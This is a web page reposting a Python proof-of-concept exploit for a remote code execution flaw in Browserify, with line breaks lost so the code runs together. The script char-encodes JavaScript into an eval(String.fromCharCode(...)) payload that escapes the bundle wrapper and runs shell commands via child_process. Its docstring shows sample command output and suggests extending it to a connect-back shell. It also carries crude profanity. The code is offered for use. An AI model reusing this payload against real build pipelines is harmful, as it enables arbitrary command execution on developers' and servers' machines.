Bài liên quan
#!/usr/bin/python """Browserify POC exploithttp://iops.io/blog/browserify-rce-vulnerability/ To run, just do: $ python poc.py > exploit.js$ browserify exploit.jsBITCH I TOLD YOU THIS SHIT IS FABULOUS[[garbage output]]},{}]},{},[1]) 00:08:32 up 12:29, 3 users, load average: 0.00, 0.02, 0.05uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse) You can also spawn() and create a connect back shell. Enjoy """ def charencode(string): encoded='' for char in string: encoded=encoded+","+str(ord(char)) return encoded[1:] plaintext = """ var require = this.process.mainModule.require; var sys = require('sys') var exec = require('child_process').exec; function puts(error, stdout, stderr) { sys.puts(stdout) } exec("uptime && id", puts); console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");""" payload = charencode(plaintext)final = "eval(String.fromCharCode(%s));" %(payload) print "});"print finalprint "(function(){"
Post a Comment